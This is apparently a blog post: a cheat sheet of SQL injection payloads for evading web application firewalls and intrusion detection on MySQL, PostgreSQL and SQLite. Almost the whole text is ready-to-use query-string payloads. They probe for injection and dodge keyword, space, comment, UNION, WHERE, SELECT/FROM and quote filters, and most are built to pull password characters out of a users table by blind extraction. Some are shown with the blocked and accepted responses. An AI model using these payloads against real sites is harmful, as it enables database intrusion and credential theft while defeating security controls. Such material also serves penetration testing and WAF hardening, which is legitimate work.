SQL injection filter evasion cheat sheet
A guide for bypassing WAFs/IDS.
For viewing an example of the application of these techniques against real-world WAF scenarios, check out the following post:
https://nzt-48.org/breaking-the-most-popular-wafs
Index
- Probing for SQL injection
- Avoid spaces
- Bypass UNION
- Bypass logical operators
- Bypass comment
- Single-line comment bypass
- Comments between function names and parenthesis
- Conditional statements
- Character selection for blind injections
- Bypass = (Equal sign)
- Bypass WHERE
- Bypass LIMIT, WHERE, HAVING
- Bypass WHERE, CASE WHEN, IF, HAVING, =, RLIKE, LIKE, REGEXP
- Bypass SELECT and FROM
- Bypassing table/column/database identifiers
- Bypass quoted strings
- Parser vulnerabilities
Don't forget to URL encode symbols & # %
Probing for SQL injection
?sqli=1' and '1'='1
403 FORBIDDEN
Avoid comparisons
All DBMS
(These first 2 ones are very useful)
?sqli=1' and '1
?sqli=1' and '0
?sqli=1' and TRUE -- -
?sqli=1' and FALSE -- -
MySQL and SQLite
Strings are cast to FALSE
?sqli=1' and 'string FALSE
?sqli=1' and not 'string TRUE
MySQL and SQLite
Any string that starts with a number is cast to TRUE, except for 0.
?sqli=1' and '0string FALSE response
?sqli=1' and '1string TRUE response
?sqli=1' and '2string TRUE response
?sqli=1' and '3string TRUE response
?sqli=1' and '4string TRUE response
?sqli=1' and '5string TRUE response
?sqli=1' and '6string TRUE response
?sqli=1' and '7string TRUE response
?sqli=1' and '8string TRUE response
?sqli=1' and '9string TRUE response
MySQL and SQLite
A quote can be escaped by another quote
?sqli=1'' Normal response
?sqli=1''' Error response
Source: https://websec.ca/kb/sql_injection
MySQL
?sqli=1' and (values row(1))--
?sqli=1' and (values row(0))--
Specially useful for ModSecurity
MySQL
Avoid keywords:
AND
?sqli=1' %26%26 '0
?sqli=1' %26%26 '1
OR
?sqli=0' || '1
?sqli=0' || '0
?sqli=1' xor '0
?sqli=1' xor '1
Avoid common operators:
(< > <= >= = !=)
MySQL
?sqli=1' and '1' like '1
?sqli=1' and '1' rlike '1
?sqli=1' and '1' regexp '1
Avoid spaces:
?sqli=1'and'1'rlike'1
MySQL and SQLite
Any string that starts with a number is cast to TRUE, except for 0.
?sqli=1' and '0string FALSE response
?sqli=1' and '1string TRUE response
?sqli=1' and '2string TRUE response
?sqli=1' and '3string TRUE response
?sqli=1' and '4string TRUE response
?sqli=1' and '5string TRUE response
?sqli=1' and '6string TRUE response
?sqli=1' and '7string TRUE response
?sqli=1' and '8string TRUE response
?sqli=1' and '9string TRUE response
Only PostgreSQL
Avoid comparisons
?sqli=1' and 1::boolean -- -
?sqli=1' and 0::boolean -- -
?sqli=1' and (values(1))::boolean -- -
?sqli=1' and (values (0))::boolean -- -
?sqli=1' and boolean 't
?sqli=1' and boolean 'f
Only PostgreSQL
The following strings are cast to TRUE or FALSE
?sqli=1' and 'true
?sqli=1' and 'false
?sqli=1' and 't
?sqli=1' and 'tr
?sqli=1' and 'tru
?sqli=1' and 'f
?sqli=1' and 'fa
?sqli=1' and 'fal
?sqli=1' and 'fals
?sqli=1' and 'yes
?sqli=1' and 'no
?sqli=1' and 'n
?sqli=1' and 'y
?sqli=1' and 'ye
?sqli=1' and 'on
?sqli=1' and 'off
?sqli=1' and 'of
?sqli=1' and '1
?sqli=1' and '0
Only PostgreSQL
Leading and trailing spaces are ignored:
?sqli=1' and ' t
?sqli=1' and ' f
Only PostgreSQL
Avoid spaces:
?sqli=1'and't
?sqli=1'and'f
etc...
Only PostgreSQL
Avoid common operators
?sqli=1' and '1' like '1
?sqli=1' and '1' ilike '1
?sqli=1' and '1' ~~ '1
?sqli=1' and '1' !~~ '1
?sqli=1' and '1' ~~* '1
?sqli=1' and '1' !~~* '1
?sqli=1' and '1' ~ '1
?sqli=1' and '1' ~* '1
?sqli=1' similar to '1
( ~~ is equal to LIKE and ~~* is equal to ILIKE, ~ matches a regular expression and ~* is a case insensitive match)
?sqli=0' + (values (1)) -- - TRUE response
?sqli=0' + (values (0)) -- - FALSE response
All DBMS
Avoid common operators
?sqli=1' and '1' like '1
?sqli=1' and '1' between '0' and '2
?sqli=1' and 1 IS NOT NULL-- - FALSE response
?sqli=1' and null IS NOT NULL-- - TRUE response
?sqli=1' and 1 in (1) -- -
?sqli=1' and 0 is distinct from '1 Doesn't work in MySQL
?sqli=1' and '0' is not unknown -- -
Avoid comparisons with arithmetic operations:
?sqli=1'-'0 TRUE
?sqli=1'-'1 FALSE
?sqli=0'+'1 TRUE
?sqli=0'-'0 FALSE
?sqli=1'*'1 TRUE
?sqli=1'*'0 FALSE
?sqli=1'/'1 TRUE
?sqli=1'/'0 FALSE
?sqli=10'%'3 TRUE
?sqli=1'%'1 FALSE
Avoid comparisons with bitwise operators:
?sqli=1'&'1 TRUE response
?sqli=1'&'0 FALSE response
?sqli=0'|'0 FALSE response
?sqli=0'|'1 TRUE response
?sqli=1'^'0 TRUE response
?sqli=1'^'1 FALSE response
Avoid spaces
?sqli=1' and '0' union select username,password,email from users limit 1 -- -
403 FORBIDDEN
?sqli=1'and'0'union(select(username),password,(email)from`users`limit/**/1)--%07
200 OK
DBMS usually are very flexible and permissive when it comes to the use of parenthesis, quotes and comments. Accent graves can also be used for table names and other types of identifiers.
Other string separators:
%09 %0a %0c %0d %20
Bypass UNION
?sqli=1' and '0' UNION select password from users limit 1 -- -
403 FORBIDDEN
It is easy to avoid the use of UNION by doing a blind injection:
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
Bypass logical operators
MySQL
?sqli=1' and ( select substring(password, 1, 1) from users limit 1)='A
403 FORBIDDEN
?sqli=1' && ( select substring(password, 1, 1) from users limit 1)='A
200 OK
AND -> &&
OR -> ||
Use arithmetic operations:
?sqli=1' * ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
?sqli=1' / ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
Boolean TRUE is casted to 1 and FALSE to 0.
PostgreSQL
Types must be explicitly cast in PostgreSQL
?sqli=1' / ( (select substring(password, 1, 1) from users limit 1) = 'A')::int -- -
Bypass comment
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
403 FORBIDDEN
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') %00
200 OK
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') #
200 OK - Only MySQL
It is also possible to use control characters instead of spaces after a double-dash comment, this sometimes bypasses filters:
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') --%07
200 OK
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') or '0
200 OK
Arithmetic operations can be used instead to use the trailing quote
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') or 0 div '1
200 OK
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') + '0
200 OK
In PostgreSQL casts have to be explicit.
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int %00
200 OK - PostgreSQL
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int + '0
200 OK - PostgreSQL
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int or '1'='1
200 OK - PostgreSQL
Single-line comment bypass
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
403 FORBIDDEN
Many filters break when encountered with a single-line comment followed by a new line character ( %0a or %0d).
?sqli=1' and ( -- bla bla %0a select substring(password, 1,1) -- bla bla %0a from users limit 1) = 'A
200 OK
?sqli=1' and ( -- bla bla %0d select substring(password, 1,1) -- bla bla %0d from users limit 1) = 'A
200 OK - PostgreSQL and MSSQL
?sqli=1' and ( # bla bla %0a select substring(password, 1,1) # bla bla %0a from users limit 1) = 'A
200 OK - MySQL
Comments between function names and parenthesis
?sqli=1' and sleep -- bla bla %0a (10) or '0
200 OK
?sqli=1' and pg_sleep -- bla bla %0d (10) or '0
200 OK - PostgreSQL and MSSQL
Conditional statements (MySQL)
Conditional statements can be used to avoid the use of spaces and to avoid keyword detection by using a version number (00000). The version number can also be omitted.
?sqli=1'/*!00000and*/(/*!00000select*//*!00000substring(password,1,1)*//*!00000from*//*!00000users*//*!00000limit 1,1*/)='A
Character selection for blind injections
For blind injections, characters must be extracted one by one. This is why many WAFs flag functions that may be used for this purpose.
?sqli=1' and ( select substring(password, 1, 1) from users limit 1)='A
403 FORBIDDEN
Bypass substring
Use pattern matching
All DBMS
?sqli=1' and (select password from users limit 1) LIKE 'A%
MySQL
?sqli=1' and (select password from users limit 1) RLIKE '^A
?sqli=1' and (select password from users limit 1) REGEX '^A
PostgreSQL
?sqli=1' and (select password from users limit 1) ILIKE 'A%
?sqli=1' and (select password from users limit 1) ~ '^A
?sqli=1' and (select password from users limit 1) ~* '^A
?sqli=1' and (select password from users limit 1) !~ '^A
?sqli=1' and (select password from users limit 1) !~* '^A
?sqli=1' and (select password from users limit 1) ~~ 'A%
?sqli=1' and (select password from users limit 1) ~~* 'A%
?sqli=1' and (select password from users limit 1) !~~ 'A%
?sqli=1' and (select password from users limit 1) !~~* 'A%
Alternative functions
?sqli=1' and (select regexp_like(password, '^A') from users limit 1)
?sqli=1' and (select regexp_instr(password, 'A') from users limit 1)='1
?sqli=1' and (select regexp_replace(password, '^A', 'x')!=password from users limit 1)-- -
?sqli=1' and (select regexp_substr(password, '^A') is not NULL from users limit 1)-- -
?sqli=1' and (select position('A' in password) from users limit 1)='1
?sqli=1' and (select substr(password, 1, 1) from users limit 1)='A
?sqli=1' and (select mid(password, 1, 1) from users limit 1)='A
?sqli=1' and (select left(password, 1) from users limit 1)='A
?sqli=1' and (select right(password, 1) from users limit 1)='Z
?sqli=1' and (select locate('A', password) from users limit 1)='1
?sqli=1' and (select lpad(password, 1, '') from users limit 1)='A
?sqli=1' and (select rpad(password, 1, '') from users limit 1)='A
String functions reference in the manuals:
https://dev.mysql.com/doc/refman/8.4/en/string-functions.html
https://www.postgresql.org/docs/6.5/functions2221.htm
Bypass = (Equal sign)
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
403 FORBIDDEN
?sqli=1' and CASE (select substring(password,1,1) from users limit 1) WHEN 'A' THEN true ELSE false END -- -
?sqli=1' and (select substring(password, 1, 1) from users limit 1) LIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) RLIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) ILIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) REGEXP 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) IS NOT DISTINCT FROM 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) BETWEEN '9' AND 'B
?sqli=1' and NULLIF((select substring(password, 1, 1) from users limit 1), 'A') is NULL -- -
?sqli=1' and not (select substring(password, 1, 1) from users limit 1) ^ 0b01000001 -- -
?sqli=1' and ((select substring(password, 1, 1) from users limit 1) & 0b01000001)::boolean is not null -- - PostgreSQL
?sqli=1' and (select substring(password, 1, 1) from users limit 1) & 0b01000001 -- -
200 OK
Bypass WHERE
?sqli=1' and (select substring(password, 1, 1) from users WHERE id='1') ='A
403 FORBIDDEN
?sqli=1' and (select substring(password, 1, 1) from users LIMIT 1) ='A
200 OK
HAVING can be used without GROUP BY but only in MySQL
?sqli=1' and (select substring(password, 1, 1) from users HAVING id='1') ='A
200 OK
Just add a GROUP BY clause to make it work in other DBMS
?sqli=1' and (select substring(password, 1, 1) from users GROUP BY id HAVING id='1')='A
200 OK
Bypass LIMIT, WHERE, HAVING
?sqli=1' and (select substring(GROUP_CONCAT(password), 1, 1) from users) ='A
200 OK
Bypass GROUP_CONCAT
?sqli=1' and (select substring(JSON_ARRAYAGG(password), 1, 1) from users) ='A
200 OK
?sqli=1' and (select substring(JSON_OBJECTAGG(user,password), 1, 1) from users) ='A
200 OK 1, 1) from users)='A
Bypass WHERE, CASE WHEN, IF, HAVING, =, RLIKE, LIKE, REGEXP
MySQL
?sqli=' and ((select substring(password, 1, 1) from users limit 1) EXCEPT values row('A')) -- -
PostgreSQL
?sqli=' and ( (select substring(password,1,1) from users limit 1) EXCEPT values('A'))::boolean is null -- -
Bypass SELECT and FROM
I think this attack vector and its variations can be used to bypass any WAF as to this date.
MySQL
?sqli=1' and (VALUES row(-10, 310, 310, 310) UNION (TABLE users LIMIT 1,1) ORDER BY ( IF((column_2 REGEXP '^A'), NULL, column_0 )) LIMIT 1) != (-10, 310, 310, 310) -- -
?sqli=1' and (VALUES row(-10, 310, 310, 310) UNION (TABLE users LIMIT 1,1) ORDER BY CASE WHEN not column_2 REGEXP '^A' THEN column_0 END LIMIT 1) != (-10, 310, 310, 310)-- -
Explanation for MySQL bypass.
The TABLE instruction displays an entire table. It is not possible to use WHERE to filter rows. LIMIT and ORDER BY can be used.
Since WHERE cannot be used to evaluate conditions and match characters, ORDER BY is going to be used. By placing a condition in ORDER BY, if the character is matched the table is sorted, if it doesn't match the order stays the same. The only way to see if the character was matched is to see if the table was ordered or not.
Add LIMIT 1 to return only the top row. If it is equal to (-10, 310, 310, 310) then you can know if the condition was matched. We use -10 as the id: since the table uses ORDER BY column_0 we want to make sure it is the lowest value so that it is placed at the very top if the table is sorted.
It is worth noticing that the column names have default names because of the ROW constructor (column_0, column_1, ... ) so you don't need to know the real names of the columns you are extracting, which is very convenient, specially if information_schema cannot be read. It can also save time in blind extractions.
PostgreSQL
In PostgreSQL, it is not possible to have conditionals within ORDER BY if the query has an UNION clause.
The solution turned out to be very simple: if you know the number of columns in a table, it is possible to compare an entire row against a set of values. The comparison is made like this:
For user with id = 1 , we use 1 as the first value since id is the first column, then characters have to be extracted sequentially one by one by comparing the strings. The columns also have to be extracted one by one in sequential order (because of the way row comparison operators work) .
?sqli=1' and ((1,'a','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'b','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'aa','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ab','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ac','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ad','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ae','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'ada','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adb','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'adm','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adn','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'adma','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admb','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admi','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admj','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admia','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admib','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- - TRUE
Bypassing table/column/database identifiers
Bypass black listed column names:
Same bypass for SELECT FROM
MySQL
?sqli=1' and (VALUES row(-10, 310, 310, 310) UNION (TABLE users LIMIT 1,1) ORDER BY ( IF((column_2 REGEXP '^A'), NULL, column_0 )) LIMIT 1) != (-10, 310, 310, 310) -- -
PostgreSQL
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- -
Bypass other identifiers
PostgreSQL
In PostgreSQL, identifiers can be contained between double quotes:
?sqli=1' and (select TRUE from "users" where "login"='admin' and mid("password",1,1)='A')-- -
By adding the U& prefix, characters can be escaped via unicode (4 characters or 6 characters by adding a + sign between the escape character and the code point):
?sqli=1' and (select TRUE from U&"us\0065rs" where login='admin' and mid("p\+000061ssword", 1, 1)='A')-- -
https://www.postgresql.org/docs/16/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS
The escape character can be selected:
?sqli=1' and (select TRUE from U&"us!0065rs" UESCAPE '!' where login='admin' and mid("p!0061ssword" UESCAPE '!', 1, 1)='A')-- -
Bypass quoted strings
?sqli=1' and (select substring(password, 1, 1) from users where username='admin')='A' -- -
403 FORBIDDEN
?sqli=' and (select substring(password, 1, 1) from users where username=0x61646d696e)=0x41 -- - MySQL
?sqli=' and (select substring(password, 1, 1) from users where username=0b0110000101100100011011010110100101101110)=0b01000001 -- - MySQL
?sqli=1' and (select substring(password,1,1) from users where username=CHAR(97,100,109,105,110) ) = CHAR(65) -- -
In PostgreSQL, however, automatic casting doesn't happen. Luckily, double dollar signs can be used as string delimiters.
?sqli=' and (select substring(password, 1, 1) from users where username=$$admin$$)=$$A$$ -- -
?sqli=' and (select substring(password, 1, 1) from users where username=$bla$admin$bla$)=$bla$A$bla$ -- -
Parser Vulnerabilities
There are many other ways to evade Web Application Firewalls which depend on the specific implementation of the WAF in question. Some WAFs have code parsers that try to discern dangerous code from safe code. Such bypasses rely on crafting vectors that are parsed by the WAF and appear to be inoffensive, but in reality they're malicious.
Check out the following post where the bypasses for 16 different WAFs are disclosed to see examples of these parser-fooling methods:
https://nzt-48.org/breaking-the-most-popular-wafs
More resources:
Breaking the most popular WAFs in the market
https://nzt-48.org/breaking-the-most-popular-wafs
Reiners blog:
https://websec.wordpress.com/category/sqli
The Art of bypassing WAFs by @Brumens2
https://www.youtube.com/watch?v=VKnX1vj65Ro
Awesome WAF by Pinaki (0xInfection)
https://github.com/0xInfection/Awesome-WAF?tab=readme-ov-file
When WAFs go awry - MDSec
https://www.mdsec.co.uk/2024/10/when-wafs-go-awry-common-detection-evasion-techniques-for-web-application-firewalls/
The SQL injection knowledge base
https://websec.ca/kb/sql_injection
Web Application Obfuscation by Dr. Mario Heiderich, Gareth Heyes, David Lindsay and Eduardo Vela
https://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049
Happy hacking.
Microsoft SQL Server vectors are yet to be published.
Filed under: Hacking,SQL,Web Application Security - @ 2024-10-25 11:41
Tags: application, bypass, firewall, waf, web
One thought on “SQL injection filter evasion cheat sheet”